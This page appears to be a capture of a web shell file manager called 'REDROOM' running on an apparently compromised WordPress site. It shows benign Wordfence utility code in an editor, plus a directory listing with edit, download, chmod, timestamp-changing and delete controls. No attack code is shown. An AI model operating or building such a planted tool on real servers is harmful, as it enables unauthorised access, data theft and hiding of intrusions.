REDROOM
PHP 8.2.31
Path:
Logout
Edit File
Size: 1.95 KB
Close
/home/nshryvcy/blissfulnepal.com/wp-content/plugins/wordfence-login-security/classes/utility/array.php
Text
Base64
<?php namespace WordfenceLS; class Utility_Array { public static function findOffset($array, $key) { $offset = 0; foreach ($array as $index => $value) { if ($index === $key) return $offset; $offset++; } return null; } public static function insertAfter(&$array, $targetKey, $key, $value) { $offset = self::findOffset($array, $targetKey); if ($offset === null) return false; $array = array_merge( array_slice($array, 0, $offset + 1), array( $key => $value ), array_slice($array, $offset + 1) ); return true; } /** * Returns the items from $array whose keys are in $keys. * * @param array $array * @param array|string $keys * @param bool $single Return single-value as-is instead of a one-element array. * @param mixed|null $default Value to return when $single is true and nothing is found. * @return array|mixed */ public static function arrayChoose($array, $keys, $single = false, $default = null) { if (!is_array($keys)) { $keys = array($keys); } $matches = array_filter($array, function($k) use ($keys) { return in_array($k, $keys); }, ARRAY_FILTER_USE_KEY); if ($single) { $key = self::arrayFirst($keys); if ($key !== null && isset($matches[$key])) { return $matches[$key]; } return $default; } return $matches; } /** * Convenience function for `arrayChoose` in its single return value mode for better code readability. * * @param array $array * @param string $key * @param mixed|null $default * @return mixed */ public static function arrayGet($array, $key, $default = null) { return self::arrayChoose($array, $key, true, $default); } public static function arrayFirst($array) { if (empty($array)) { return null; } $values = array_values($array); return $values[0]; } public static function arrayLast($array) { if (empty($array)) { return null; } $values = array_values($array); return $values[count($values) - 1]; } }
Save
Close
Exit & Reset
Text mode: syntax highlighting auto-detects file type.
Directory Contents
Dirs: 0 × Files: 12
Delete Selected
Select All
Select None
Sort:
Name
Size
Modified
Enable drag-to-move
Name
Size
Perms
Modified
Actions
array.php
1.95 KB
lrw-r--r--
2026-05-06 14:06:06
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
baseconversion.php
417 B
lrw-r--r--
2026-05-06 14:06:06
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
databaselock.php
2.08 KB
lrw-r--r--
2026-05-06 14:06:06
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
lock.php
176 B
lrw-r--r--
2026-05-06 14:06:06
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
measuredstring.php
265 B
lrw-r--r--
2026-05-06 14:06:06
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
multisite.php
1.17 KB
lrw-r--r--
2026-05-06 14:06:06
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
multisiteconfigurationextractor.php
2.14 KB
lrw-r--r--
2026-05-06 14:06:06
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
nulllock.php
292 B
lrw-r--r--
2026-05-06 14:06:06
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
number.php
1002 B
lrw-r--r--
2026-05-06 14:06:06
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
serialization.php
817 B
lrw-r--r--
2026-05-06 14:06:06
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
sleep.php
613 B
lrw-r--r--
2026-05-06 14:06:06
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
url.php
1.01 KB
lrw-r--r--
2026-05-06 14:06:06
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Zip Selected
If ZipArchive is unavailable, a
.tar
will be created (no compression).